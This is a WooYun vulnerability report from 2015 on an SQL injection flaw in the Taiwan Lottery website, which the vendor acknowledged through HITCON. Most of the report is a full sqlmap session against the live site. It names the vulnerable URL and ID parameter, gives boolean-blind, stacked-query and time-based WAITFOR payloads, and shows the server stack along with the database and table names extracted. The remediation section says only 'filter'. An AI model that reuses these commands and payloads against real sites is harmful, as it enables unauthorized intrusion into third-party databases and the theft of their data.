当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-096558

漏洞标题：中国台灣彩券（彩票网站）存在SQL注入漏洞

相关厂商：Hitcon台湾互联网漏洞报告平台

漏洞作者： 路人甲

提交时间：2015-02-12 11:19

修复时间：2015-03-29 11:20

公开时间：2015-03-29 11:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-12： 细节已通知厂商并且等待厂商处理中
2015-02-12： 厂商已经确认，细节仅向厂商公开
2015-02-22： 细节向核心白帽子及相关领域专家公开
2015-03-04： 细节向普通白帽子公开
2015-03-14： 细节向实习白帽子公开
2015-03-29： 细节向公众公开

简要描述：

台灣彩券為中信金控旗下子公司，是公益彩券發行機構中信銀行之受委託機構。中信銀行獲得財政部認可，自第3屆(民國96年到102年)賦予發行公益彩券的責任，並獲指定繼續擔任第4屆(民國103年到112年)公益彩券之發行機構。中國信託為落實「公益」使命，如同中信慈善基金會辜仲諒董事長所說，要把經營彩券賺的每一塊錢都拿出來做公益，經營彩券不是要賺錢，不論盈虧，每年都會提供27億元回饋金挹注政府社福財源，以照顧更多弱勢族群。
台灣彩券於民國95年7月10日成立，受中信銀行委託發行第3屆公益彩券，並繼續接受委託經營第4屆公益彩券。台灣彩券為社會大眾提供多樣化的公益彩券商品，透過專業的彩券銷售管道，廣召社會大眾的參與，協助充實政府公益彩券盈餘與推動公益彩券產業健全化。

详细说明：

深夜挖洞，支持下，台湾同胞，来一发：

QQ截图20150210014432.png


彩票网站，点到为止，不跑了，

漏洞证明：

QQ截图20150210014444.png


QQ截图20150210014510.png


[root@Hacker~]# Sqlmap sqlmap -u "http://www.taiwanlottery.com.tw/3th_lottery_1230/Info/instant/location.aspx?ID=131&GameName=059&DrawNo=至尊王牌" -v 1 --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state
[*] starting at 01:32:42
[01:32:42] [INFO] testing connection to the target URL
[01:32:43] [INFO] heuristics detected web page charset 'ISO-8859-2'
[01:32:43] [INFO] testing if the target URL is stable. This can take a couple of seconds
[01:32:45] [INFO] target URL is stable
[01:32:45] [INFO] testing if GET parameter 'ID' is dynamic
[01:32:45] [INFO] confirming that GET parameter 'ID' is dynamic
[01:32:46] [INFO] GET parameter 'ID' is dynamic
[01:32:47] [WARNING] heuristic (basic) test shows that GET parameter 'ID' might not be injectable
[01:32:47] [INFO] testing for SQL injection on GET parameter 'ID'
[01:32:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:32:53] [INFO] GET parameter 'ID' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[01:32:57] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] y
[01:32:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[01:32:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:33:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:33:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[01:33:01] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:33:02] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[01:33:03] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[01:33:03] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[01:33:03] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[01:33:03] [INFO] testing 'MySQL inline queries'
[01:33:03] [INFO] testing 'PostgreSQL inline queries'
[01:33:03] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[01:33:03] [INFO] testing 'Oracle inline queries'
[01:33:03] [INFO] testing 'SQLite inline queries'
[01:33:03] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:33:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:33:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:33:25] [INFO] GET parameter 'ID' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[01:33:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:33:47] [INFO] GET parameter 'ID' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[01:33:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:33:47] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:33:48] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for
[01:33:50] [INFO] target URL appears to have 7 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[01:34:09] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. --dbms=mysql)
GET parameter 'ID' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
[01:34:10] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in
sqlmap identified the following injection points with a total of 65 HTTP(s) requests:
---
Place: GET
Parameter: ID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=131' AND 3604=3604 AND 'rqeo'='rqeo&GameName=059&DrawNo=????
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ID=131'; WAITFOR DELAY '0:0:5'--&GameName=059&DrawNo=????
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ID=131' WAITFOR DELAY '0:0:5'--&GameName=059&DrawNo=????
---
[01:34:10] [INFO] testing Microsoft SQL Server
[01:34:11] [INFO] confirming Microsoft SQL Server
[01:34:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2012
[01:34:13] [INFO] fetching database names
[01:34:13] [INFO] fetching number of databases
[01:34:13] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[01:34:13] [INFO] retrieved: 7
[01:34:17] [INFO] retrieved: master
[01:34:45] [INFO] retrieved: model
[01:35:09] [INFO] retrieved: msdb
[01:35:29] [INFO] retrieved: ReportServer
[01:36:21] [INFO] retrieved: ReportServerTempDB
[01:37:48] [INFO] retrieved: TaiwanLotto_Content
[01:39:09] [INFO] retrieved: tempdb
available databases [7]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] TaiwanLotto_Content
[*] tempdb
[01:39:37] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\www.taiwanlottery.com.tw'
[*] shutting down at 01:39:37
[root@Hacker~]# Sqlmap Sqlmap -u "http://www.taiwanlottery.com.tw/3th_lottery_1230/Info/instant/location.aspx?ID=131&GameName=059&DrawNo=至尊王牌" -D TaiwanLotto_Content --t
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state
[*] starting at 01:41:16
[01:41:16] [INFO] resuming back-end DBMS 'microsoft sql server'
[01:41:17] [INFO] testing connection to the target URL
[01:41:17] [INFO] heuristics detected web page charset 'ISO-8859-2'
[01:41:17] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=131' AND 3604=3604 AND 'rqeo'='rqeo&GameName=059&DrawNo=????
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ID=131'; WAITFOR DELAY '0:0:5'--&GameName=059&DrawNo=????
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ID=131' WAITFOR DELAY '0:0:5'--&GameName=059&DrawNo=????
---
[01:41:17] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2012
[01:41:17] [INFO] fetching tables for database: TaiwanLotto_Content
[01:41:17] [INFO] fetching number of tables for database 'TaiwanLotto_Content'
[01:41:17] [INFO] retrieved: 65
[01:41:24] [INFO] retrieving the length of query output
[01:41:24] [INFO] retrieved: 6
[01:41:28] [INFO] retrieved: ______
[01:42:32] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
[01:42:32] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
[01:42:44] [INFO] retrieved: dbo.3D
[01:42:44] [INFO] retrieving the length of query output
[01:42:44] [INFO] retrieved: 10
[01:44:30] [INFO] retrieved: dbo.3D_Num
[01:44:30] [INFO] retrieving the length of query output
[01:44:30] [INFO] retrieved: 6
[01:45:32] [INFO] retrieved: dbo.4D
[01:45:32] [INFO] retrieving the length of query output
[01:45:32] [INFO] retrieved: 10
[01:45:40] [INFO] retrieved: __________

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-02-12 11:56

厂商回复：

感謝通報

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-05 09:30 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    标题起得很好，中国台湾！